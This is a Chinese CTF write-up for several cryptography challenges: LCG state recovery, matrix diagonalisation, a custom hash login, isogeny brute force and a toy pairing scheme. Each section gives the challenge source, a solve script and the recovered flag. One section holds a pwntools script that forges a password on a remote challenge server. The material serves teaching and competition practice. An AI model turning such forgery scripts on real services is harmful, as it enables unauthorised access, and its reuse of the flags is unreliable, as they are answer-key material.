接着是LCG,拆分p可以得到多组连续的结果,然后求出b,c,d

需要注意,keys里面的值都是素数,直接求出来的b并非素数,可以知道真正的b应该是b+d

最后一直倒推a的值,直到解出flag

import gmpy2
import libnum
from Crypto.Util.number import GCD, isPrime, long_to_bytes
from Crypto.Cipher import AES

p = 5600014191532800488531831668395799541204315609245207958128442807909500183163545047188686852245188260597387171558644084932317706911269223090409172866640439
q = 7057388453058926233500293184792665049465132321705130378797563205430167401000382627642421543266294746401018372443611315368731148969189356088513969419966619
res = []
for i in range(16):
res += [p%2**32]
p = p >> 32

c = res[::-1]

t=[]
for i in range(1,len(c)):
t.append(c[i]-c[i-1])

d = 0
for i in range(1,len(t)-1):
d = GCD(t[i+1]*t[i-1]-t[i]**2, d)

print(d)

b = (c[4]-c[3])*gmpy2.invert(c[3]-c[2],d) % d
cc = (c[2]-b*c[1]) % d
# print(gmpy2.gcd(a,m))
# print(gmpy2.gcd(b,m))
b_1=gmpy2.invert(b,d)


print(b,cc)
print(isPrime(b))
print(isPrime(b+d))
b = b+d

print(isPrime(cc))
print(isPrime(d))
a = c[1]
enc = bytes.fromhex('b7a6aa2e92065c6ca0f641774daa6be7')
while True:
a = (a-cc) * b_1 % d
keys = [a,b,cc,d]
try:
k = b''.join([long_to_bytes(i) for i in keys])
cipher = AES.new(k,AES.MODE_ECB)
flag = cipher.decrypt(enc)
if b'flag{' in flag:
print(flag)
break
except:
pass
# b'flag{LCG_is_n0t_'

flag

flag{LCG_is_n0t_a_cryp7o_5ecure_PRNG}

[Week3] 期末考试

from secret import B, C
import numpy as np

p = 251
A = np.diag([np.random.randint(0,p) for i in range(6)])

B = np.matrix(B)
C = np.matrix(C)
print(B * C %p)

'''
[[1 0 0 0 0 0]
[0 1 0 0 0 0]
[0 0 1 0 0 0]
[0 0 0 1 0 0]
[0 0 0 0 1 0]
[0 0 0 0 0 1]]
'''

D = B * A * C %p
print('D =',D.tolist())

'''
D = [[221, 145, 242, 96, 133, 32], [79, 42, 48, 69, 127, 19], [222, 112, 115, 170, 108, 76], [112, 122, 165, 137, 67, 164], [29, 148, 80, 173, 33, 72], [92, 101, 143, 18, 14, 109]]
'''

flag = bytes(B.reshape((1,36)).tolist()[0])
assert flag[:4] == b'flag'
print(flag)

# b'flag{you_need_to_solve_by_yourself!}' ## fakeflag

主要考察矩阵相似、特征值和对角化

AI梭了(

# Sage script to recover B and the flag from the given D over GF(251)

from itertools import permutations, product

p = 251
F = GF(p)

# 已知矩阵 D(题目中给出)
D_list = [
[221, 145, 242, 96, 133, 32],
[79, 42, 48, 69, 127, 19],
[222, 112, 115, 170, 108, 76],
[112, 122, 165, 137, 67, 164],
[29, 148, 80, 173, 33, 72],
[92, 101, 143, 18, 14, 109]
]
D = Matrix(F, D_list)

# 单位矩阵
I = identity_matrix(F, 6)

# 1) 在 GF(251) 中寻找所有特征值 lambda 使 det(D - lambda*I) = 0
eigenvals = []
for a in range(p):
lam = F(a)
if (D - lam*I).det() == 0:
eigenvals.append(lam)
eigenvals = list(eigenvals)
print("eigenvalues:", eigenvals)

# 2) 对于每个特征值,求一个特征向量(取右核空间的一个基向量)
eigvecs = {}
for lam in eigenvals:
K = (D - lam*I).right_kernel() # kernel as vector space over F
basis = K.basis()
if len(basis) == 0:
raise ValueError("No eigenvector for lambda = %s" % lam)
v = basis[0] # 取第一基向量
# 标准化为长度6向量(Sage 的向量用 field 元素)
eigvecs[int(lam)] = v

# 3) 对每个特征向量尝试所有非零标量 s,使结果所有条目都是可打印 ASCII (32..126)
printable = set(range(32, 127))
scalar_options = {}
for lam_int, v in eigvecs.items():
v = v # vector over F
opts = [] # 列表 of (s_int, vector_as_list_of_ints)
for s_int in range(1, p):
s = F(s_int)
vec = s * v
# 将 vec 转成整数列表(0..250)
vec_ints = [Integer(x) for x in vec]
# 检查是否都在 printable 范围
if all(32 <= int(x) <= 126 for x in vec_ints):
opts.append((s_int, vec_ints))
scalar_options[lam_int] = opts
print("lambda", lam_int, "options:", len(opts))

# 4) 暴力枚举:对特征值的列排列和每列选择标量
lam_list = list(eigvecs.keys())
opts_scalars = {lam: [s for s, _ in scalar_options[lam]] for lam in lam_list}

def build_B_from_assignment(order, scalars):
# order: list of lambda ints for columns 0..5
# scalars: list of scalar ints corresponding to order
cols = []
for lam_int, s_int in zip(order, scalars):
# 找到对应向量
opts = scalar_options[lam_int]
# 找索引并取向量
idx = opts_scalars[lam_int].index(s_int)
vec_ints = opts[idx][1]
cols.append(vec_ints)
# columns are lists of length 6; we need a 6x6 matrix in column-major
# build matrix as list of rows
rows = []
for r in range(6):
row = [cols[c][r] for c in range(6)]
rows.append(row)
return rows # 返回普通整型行列表(6x6)

# 搜索
found = False
for perm in permutations(lam_list):
lists = [opts_scalars[lam] for lam in perm]
# 若某列没有可行标量,则跳过该排列
if any(len(l) == 0 for l in lists):
continue
for scalars in product(*lists):
B_rows = build_B_from_assignment(perm, scalars)
# 展平为行主序的 36 字节
flat = []
for r in range(6):
for c in range(6):
flat.append(int(B_rows[r][c]) % p)
try:
flag_bytes = bytes(flat)
except ValueError:
continue
if flag_bytes.startswith(b'flag{') and flag_bytes.endswith(b'}'):
print("[+] Found flag:", flag_bytes)
found = True
break
if found:
break

if not found:
print("No flag found with current search.")
# [+] Found flag: b'flag{3Njoy_My_eZ_m4tr1x_5imi1aRi7y!}'

[Week4] Xaleid◆scopiX

源码

from Crypto.Util.number import *
import random
import os

flag = open('/home/ctf/flag').read()

basis = random.randint(2,(1<<128)-2)
prime = getPrime(128)

def kaleidoscope(msg):
r = basis
for i in msg:
r = r * prime % (1 << 128)
r = r ^ i
return r

def main(i):
key = os.urandom(random.randint(64,128))
print('Hello! Your gift:', kaleidoscope(key))
s1 = input('Tell me your name: ').encode()
print('Hello,', kaleidoscope(s1), '! Let\'s sign in!')
s2 = input('Your account: ').encode()
print('Your account:', kaleidoscope(s2))
s3 = int(input('Your password: '))
if s3:
if s3 == kaleidoscope(s1 + key + s2):
print('Sign in successfully!')
s4 = input('Your operation: ')
if s4 == 'flag':
if s2 == b'admin':
print(flag)
else:
print('Permission deny')
elif s4 == 'logout' and i:
main(i-1)
else:
print('Unknown operation')
else:
print('Password incorrect!')

if __name__ == '__main__':
main(1)

根据源码可以知道,s1留空可以得到basis

s2传入\x00,即可得到basis * prime mod (1 << 128),接着求basis(1 << 128)上的逆元,可以求出prime

接着算出s3的值,key*s2 mod (1 << 128)即可

然后输入logout获取下一次main的执行,在这次,s1依然留空,已知basisprime,可以在得到key的值后往后追加字符串继续计算,最后得到s3

算出结果发过去,此时输入flag即可获得flag

需要注意,basis要为奇数

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
# challenge.ilovectf.cn:30283
sh = remote("challenge.ilovectf.cn", 30283)

def add_bytes(r,msg):
for i in msg:
r = r * prime % (1 << 128)
r = r ^ i
return r

sh.recvuntil('gift:')
key = int(sh.recvuntil('\n'))

sh.sendlineafter('name:','')
sh.recvuntil('Hello, ')
s1 = int(sh.recvuntil(' '))
print(s1)

sh.sendlineafter('account:','\x00')
sh.recvuntil('account:')
s2 = int(sh.recvuntil('\n'))

basis = s1

inv = pow(basis,-1,1<<128)
prime = s2*inv % (1<<128)
password = key*s2*inv% (1<<128)

sh.sendlineafter('password: ',str(password))

sh.sendlineafter('operation: ','logout')

sh.recvuntil('gift:')
key = int(sh.recvuntil('\n'))
sh.sendlineafter('name:','')
sh.sendlineafter('account:','admin')
password = add_bytes(key,b'admin')
sh.sendlineafter('password: ',str(password))
sh.sendlineafter('operation: ','flag')


sh.interactive()

[Week4] Myneighbors

源码

# sage
from secret import magical_num, flag
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib

p = 431
F.<i> = GF(p^2, modulus = x^2 + 1)
E = EllipticCurve(j=F(magical_num))
assert E.is_supersingular()

P = E(0).division_points(2)[1:]
neighbors = []
for idx in range(len((P))):
phi = E.isogeny(P[idx])
EE = phi.codomain()
neighbors.append(EE.j_invariant())

assert E.j_invariant() in neighbors

P = E(0).division_points(3)[1:]
shuffle(P)

phi = E.isogeny(P[0])
E = phi.codomain()
H = hashlib.md5(str(E.j_invariant()).encode()).hexdigest().encode()
key, iv = H[:16], H[16:]

aes = AES.new(key, AES.MODE_CBC, iv)
cipher = aes.encrypt(pad(flag, 16))
print(f'cipher: {cipher.hex()}')
#cipher: 49e90a91357fef12c54234b3cb553bb2fdd61f2af8c7e78b3d5ffdeac7022af0

不需要多想,爆破magical_num即可

# sage 

from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib

p = 431
cipher = '49e90a91357fef12c54234b3cb553bb2fdd61f2af8c7e78b3d5ffdeac7022af0'
F.<i> = GF(p^2, modulus = x^2 + 1)

for magical_num in range(10000):
E = EllipticCurve(j=F(magical_num))
if not E.is_supersingular():
continue
P = E(0).division_points(2)[1:]
neighbors = []
for idx in range(len((P))):
phi = E.isogeny(P[idx])
EE = phi.codomain()
neighbors.append(EE.j_invariant())

if E.j_invariant() in neighbors:
print(magical_num)
P = E(0).division_points(3)[1:]
shuffle(P)
phi = E.isogeny(P[0])
E = phi.codomain()
H = hashlib.md5(str(E.j_invariant()).encode()).hexdigest().encode()
key, iv = H[:16], H[16:]
aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(bytes.fromhex(cipher))
if b'flag' in flag:
print(flag)
break

# b'flag{I_@m_4_n31gh80r_0f_my53lf}\x01'

[Week4] linear function?

源码:

import random
from Crypto.Util.number import *
P = 208351617316091241234326746312124448251235562226470491514186331217050270460481

def pairing(a, b):
return (a * b) % P

def modexp(base, exp):
return pow(base, exp, P)

def fake_hash(msg: bytes) -> int:
return (bytes_to_long(msg)+q*114514114514)% P

q = ?? #small number

g1 = pow(random.randint(2, P-1), (P-1)//q, P)
g2 = pow(random.randint(2, P-1), (P-1)//q, P)
x = random.randint(2, q-1)
y = random.randint(2, q-1)


pk1 = modexp(g1, x)
pk2 = modexp(g2, y)


flag = b""

m = fake_hash(flag)
c1 = modexp(m, y)
c2 = pow(pairing(m, g2), x, P)

print("g1 =", g1)
print("g2 =", g2)
print("pk1 =", pk1)
print("pk2 =", pk2)
print("c1 =", c1)
print("c2 =", c2)
'''
g1 = 165341976123736548335459112293962522231127264153295903604264502197418873026337
g2 = 170915747120703530230385586293442518689765397278386308589786290207533442146523
pk1 = 11589158479692898111868014330824763021736695091380856551306940309853826892678
pk2 = 56614577954354505447188182303177869506146009993379305915003210547359661002599
c1 = 203767997651769026611878084970895835495584375049533533997092667742078368771381
c2 = 42280289742972723242969330279542671973937468908942256409868101442841553691921
'''

因为q很小,所以x和y也很小,爆破出x和y,然后有限开方得到m

爆破出q的值即可解出flag

# sage
import random
from Crypto.Util.number import *
import gmpy2

def modexp(base, exp):
return pow(base, exp, P)

P = 208351617316091241234326746312124448251235562226470491514186331217050270460481
g1 = 165341976123736548335459112293962522231127264153295903604264502197418873026337
g2 = 170915747120703530230385586293442518689765397278386308589786290207533442146523
pk1 = 11589158479692898111868014330824763021736695091380856551306940309853826892678
pk2 = 56614577954354505447188182303177869506146009993379305915003210547359661002599
c1 = 203767997651769026611878084970895835495584375049533533997092667742078368771381
c2 = 42280289742972723242969330279542671973937468908942256409868101442841553691921


x = 0
y = 0

for i in range(2,100):
tmp_pk1 = modexp(g1, i)
tmp_pk2 = modexp(g2, i)
if tmp_pk1 == pk1:
print("x =",i)
x = i
if tmp_pk2 == pk2:
print("y =",i)
y = i

PR.<m> = PolynomialRing(Zmod(P))
f = m^y - c1
resy = f.roots()
# print(resy)

for i in resy:
tmp = i[0]
flag = long_to_bytes(int(tmp))
if b'flag' in flag:
m = tmp
cnt = 0
while True:
m -= 114514114514
cnt += 1
flag = long_to_bytes(int(m))
if flag[-1] == ord('}'):
print(cnt,flag)
break
# 101 b'flag{pair1n9_13_s000_fun}'